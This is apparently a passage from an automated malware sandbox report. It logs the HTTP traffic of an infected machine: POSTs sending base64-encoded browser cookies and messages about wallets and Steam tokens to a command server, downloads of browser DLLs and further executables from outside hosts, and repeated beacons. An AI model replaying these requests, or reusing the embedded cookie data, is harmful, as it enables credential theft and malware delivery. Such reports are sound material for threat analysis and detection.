Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GDBAKEGIDBGIEBFHDHJJHost: 85.28.47.4Content-Length: 751Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 44 42 41 4b 45 47 49 44 42 47 49 45 42 46 48 44 48 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 61 39 65 63 36 63 33 65 61 62 32 36 63 31 63 66 34 65 63 63 63 63 38 32 62 62 37 34 39 31 65 31 35 64 62 62 33 39 39 61 33 32 35 63 30 36 37 35 35 38 63 32 61 31 63 65 39 35 30 35 64 37 37 36 33 33 64 33 30 31 30 0d 0a 2d 2d 2d 2d 2d 2d 47 44 42 41 4b 45 47 49 44 42 47 49 45 42 46 48 44 48 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 47 44 42 41 4b 45 47 49 44 42 47 49 45 42 46 48 44 48 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 56 46 4a 56 52 51 6b 76 43 55 5a 42 54 46 4e 46 43 54 45 32 4f 54 6b 77 4d 54 45 32 4d 54 55 4a 4d 56 42 66 53 6b 46 53 43 54 49 77 4d 6a 4d 74 4d 54 41 74 4d 44 51 74 4d 54 4d 4b 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 52 6b 46 4d 55 30 55 4a 4c 77 6c 47 51 55 78 54 52 51 6b 78 4e 7a 45 79 4d 6a 4d 77 4f 44 45 31 43 55 35 4a 52 41 6b 31 4d 54 45 39 52 57 59 31 64 6c 42 47 52 33 63 74 54 56 70 5a 62 7a 56 6f 64 32 55 74 4d 46 52 6f 51 56 5a 7a 62 47 4a 34 59 6d 31 32 5a 46 5a 61 64 32 4e 49 62 6e 46 57 65 6c 64 49 51 56 55 78 4e 48 59 31 4d 30 31 4f 4d 56 5a 32 64 33 5a 52 63 54 68 69 59 56 6c 6d 5a 7a 49 74 53 55 46 30 63 56 70 43 56 6a 56 4f 54 30 77 31 63 6e 5a 71 4d 6b 35 58 53 58 46 79 65 6a 4d 33 4e 31 56 6f 54 47 52 49 64 45 39 6e 52 53 31 30 53 6d 46 43 62 46 56 43 57 55 70 46 61 48 56 48 63 31 46 6b 63 57 35 70 4d 32 39 55 53 6d 63 77 59 6e 4a 78 64 6a 46 6b 61 6d 52 70 54 45 70 35 64 6c 52 54 56 57 68 6b 53 79 31 6a 4e 55 70 58 59 57 52 44 55 33 4e 56 54 46 42 4d 65 6d 68 54 65 43 31 47 4c 54 5a 33 54 32 63 30 43 67 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 44 42 41 4b 45 47 49 44 42 47 49 45 42 46 48 44 48 4a 4a 2d 2d 0d 0a Data Ascii: ------GDBAKEGIDBGIEBFHDHJJContent-Disposition: form-data; name="token"1a9ec6c3eab26c1cf4ecccc82bb7491e15dbb399a325c067558c2a1ce9505d77633d3010------GDBAKEGIDBGIEBFHDHJJContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------GDBAKEGIDBGIEBFHDHJJContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JVFJVRQkvCUZBTFNFCTE2OTkwMTE2MTUJMVBfSkFSCTIwMjMtMTAtMDQtMTMKLmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjMwODE1CU5JRAk1MTE9RWY1dlBGR3ctTVpZbzVod2UtMFRoQVZzbGJ4Ym12Z
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FBKEHJEGCFBFHJJKJEHDHost: 85.28.47.4Content-Length: 359Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 42 4b 45 48 4a 45 47 43 46 42 46 48 4a 4a 4b 4a 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 61 39 65 63 36 63 33 65 61 62 32 36 63 31 63 66 34 65 63 63 63 63 38 32 62 62 37 34 39 31 65 31 35 64 62 62 33 39 39 61 33 32 35 63 30 36 37 35 35 38 63 32 61 31 63 65 39 35 30 35 64 37 37 36 33 33 64 33 30 31 30 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b 45 48 4a 45 47 43 46 42 46 48 4a 4a 4b 4a 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 5a 57 6c 74 5a 57 68 79 64 6e 70 76 5a 43 35 6d 61 57 78 6c 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b 45 48 4a 45 47 43 46 42 46 48 4a 4a 4b 4a 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b 45 48 4a 45 47 43 46 42 46 48 4a 4a 4b 4a 45 48 44 2d 2d 0d 0a Data Ascii: ------FBKEHJEGCFBFHJJKJEHDContent-Disposition: form-data; name="token"1a9ec6c3eab26c1cf4ecccc82bb7491e15dbb399a325c067558c2a1ce9505d77633d3010------FBKEHJEGCFBFHJJKJEHDContent-Disposition: form-data; name="file_name"ZWltZWhydnpvZC5maWxl------FBKEHJEGCFBFHJJKJEHDContent-Disposition: form-data; name="file"------FBKEHJEGCFBFHJJKJEHD--
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AECAKJJECAEGCBGDHDHCHost: 85.28.47.4Content-Length: 359Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 45 43 41 4b 4a 4a 45 43 41 45 47 43 42 47 44 48 44 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 61 39 65 63 36 63 33 65 61 62 32 36 63 31 63 66 34 65 63 63 63 63 38 32 62 62 37 34 39 31 65 31 35 64 62 62 33 39 39 61 33 32 35 63 30 36 37 35 35 38 63 32 61 31 63 65 39 35 30 35 64 37 37 36 33 33 64 33 30 31 30 0d 0a 2d 2d 2d 2d 2d 2d 41 45 43 41 4b 4a 4a 45 43 41 45 47 43 42 47 44 48 44 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 5a 57 6c 74 5a 57 68 79 64 6e 70 76 5a 43 35 6d 61 57 78 6c 0d 0a 2d 2d 2d 2d 2d 2d 41 45 43 41 4b 4a 4a 45 43 41 45 47 43 42 47 44 48 44 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 41 45 43 41 4b 4a 4a 45 43 41 45 47 43 42 47 44 48 44 48 43 2d 2d 0d 0a Data Ascii: ------AECAKJJECAEGCBGDHDHCContent-Disposition: form-data; name="token"1a9ec6c3eab26c1cf4ecccc82bb7491e15dbb399a325c067558c2a1ce9505d77633d3010------AECAKJJECAEGCBGDHDHCContent-Disposition: form-data; name="file_name"ZWltZWhydnpvZC5maWxl------AECAKJJECAEGCBGDHDHCContent-Disposition: form-data; name="file"------AECAKJJECAEGCBGDHDHC--
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/freebl3.dll HTTP/1.1Host: 85.28.47.4Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/mozglue.dll HTTP/1.1Host: 85.28.47.4Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/msvcp140.dll HTTP/1.1Host: 85.28.47.4Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/nss3.dll HTTP/1.1Host: 85.28.47.4Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/softokn3.dll HTTP/1.1Host: 85.28.47.4Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/vcruntime140.dll HTTP/1.1Host: 85.28.47.4Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKJEHCAKFBGDGCAAAFBGHost: 85.28.47.4Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KJECFHCBKKEBAKFIJDHIHost: 85.28.47.4Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4a 45 43 46 48 43 42 4b 4b 45 42 41 4b 46 49 4a 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 61 39 65 63 36 63 33 65 61 62 32 36 63 31 63 66 34 65 63 63 63 63 38 32 62 62 37 34 39 31 65 31 35 64 62 62 33 39 39 61 33 32 35 63 30 36 37 35 35 38 63 32 61 31 63 65 39 35 30 35 64 37 37 36 33 33 64 33 30 31 30 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 45 43 46 48 43 42 4b 4b 45 42 41 4b 46 49 4a 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 45 43 46 48 43 42 4b 4b 45 42 41 4b 46 49 4a 44 48 49 2d 2d 0d 0a Data Ascii: ------KJECFHCBKKEBAKFIJDHIContent-Disposition: form-data; name="token"1a9ec6c3eab26c1cf4ecccc82bb7491e15dbb399a325c067558c2a1ce9505d77633d3010------KJECFHCBKKEBAKFIJDHIContent-Disposition: form-data; name="message"wallets------KJECFHCBKKEBAKFIJDHI--
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FCBAEHCAEGDHJKFHJKFIHost: 85.28.47.4Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 43 42 41 45 48 43 41 45 47 44 48 4a 4b 46 48 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 61 39 65 63 36 63 33 65 61 62 32 36 63 31 63 66 34 65 63 63 63 63 38 32 62 62 37 34 39 31 65 31 35 64 62 62 33 39 39 61 33 32 35 63 30 36 37 35 35 38 63 32 61 31 63 65 39 35 30 35 64 37 37 36 33 33 64 33 30 31 30 0d 0a 2d 2d 2d 2d 2d 2d 46 43 42 41 45 48 43 41 45 47 44 48 4a 4b 46 48 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 46 43 42 41 45 48 43 41 45 47 44 48 4a 4b 46 48 4a 4b 46 49 2d 2d 0d 0a Data Ascii: ------FCBAEHCAEGDHJKFHJKFIContent-Disposition: form-data; name="token"1a9ec6c3eab26c1cf4ecccc82bb7491e15dbb399a325c067558c2a1ce9505d77633d3010------FCBAEHCAEGDHJKFHJKFIContent-Disposition: form-data; name="message"files------FCBAEHCAEGDHJKFHJKFI--
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KFHJJDHJEGHJKECBGCFHHost: 85.28.47.4Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 46 48 4a 4a 44 48 4a 45 47 48 4a 4b 45 43 42 47 43 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 61 39 65 63 36 63 33 65 61 62 32 36 63 31 63 66 34 65 63 63 63 63 38 32 62 62 37 34 39 31 65 31 35 64 62 62 33 39 39 61 33 32 35 63 30 36 37 35 35 38 63 32 61 31 63 65 39 35 30 35 64 37 37 36 33 33 64 33 30 31 30 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 48 4a 4a 44 48 4a 45 47 48 4a 4b 45 43 42 47 43 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 48 4a 4a 44 48 4a 45 47 48 4a 4b 45 43 42 47 43 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 48 4a 4a 44 48 4a 45 47 48 4a 4b 45 43 42 47 43 46 48 2d 2d 0d 0a Data Ascii: ------KFHJJDHJEGHJKECBGCFHContent-Disposition: form-data; name="token"1a9ec6c3eab26c1cf4ecccc82bb7491e15dbb399a325c067558c2a1ce9505d77633d3010------KFHJJDHJEGHJKECBGCFHContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------KFHJJDHJEGHJKECBGCFHContent-Disposition: form-data; name="file"------KFHJJDHJEGHJKECBGCFH--
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IEHIIIJDAAAAAAKECBFBHost: 85.28.47.4Content-Length: 270Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 45 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 61 39 65 63 36 63 33 65 61 62 32 36 63 31 63 66 34 65 63 63 63 63 38 32 62 62 37 34 39 31 65 31 35 64 62 62 33 39 39 61 33 32 35 63 30 36 37 35 35 38 63 32 61 31 63 65 39 35 30 35 64 37 37 36 33 33 64 33 30 31 30 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 6a 62 64 74 61 69 6a 6f 76 67 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 46 42 2d 2d 0d 0a Data Ascii: ------IEHIIIJDAAAAAAKECBFBContent-Disposition: form-data; name="token"1a9ec6c3eab26c1cf4ecccc82bb7491e15dbb399a325c067558c2a1ce9505d77633d3010------IEHIIIJDAAAAAAKECBFBContent-Disposition: form-data; name="message"jbdtaijovg------IEHIIIJDAAAAAAKECBFB--
Source: global traffic	HTTP traffic detected: GET /mine/amadka.exe HTTP/1.1Host: 77.91.77.81Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 30 32 44 37 39 42 32 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B02D79B25A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: GET /stealc/random.exe HTTP/1.1Host: 77.91.77.81
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 30 30 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000006001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HCAEHJJKFCAAFHJKFBKKHost: 85.28.47.4Content-Length: 214Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 43 41 45 48 4a 4a 4b 46 43 41 41 46 48 4a 4b 46 42 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 31 39 30 41 34 31 41 32 35 43 44 33 39 33 35 34 33 30 31 34 39 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 45 48 4a 4a 4b 46 43 41 41 46 48 4a 4b 46 42 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 65 66 61 75 6c 74 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 45 48 4a 4a 4b 46 43 41 41 46 48 4a 4b 46 42 4b 4b 2d 2d 0d 0a Data Ascii: ------HCAEHJJKFCAAFHJKFBKKContent-Disposition: form-data; name="hwid"C190A41A25CD3935430149------HCAEHJJKFCAAFHJKFBKKContent-Disposition: form-data; name="build"default------HCAEHJJKFCAAFHJKFBKK--
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 30 32 44 37 39 42 32 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B02D79B25A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 30 32 44 37 39 42 32 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B02D79B25A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 30 32 44 37 39 42 32 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B02D79B25A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 30 32 44 37 39 42 32 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B02D79B25A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 30 32 44 37 39 42 32 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B02D79B25A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 30 32 44 37 39 42 32 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B02D79B25A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
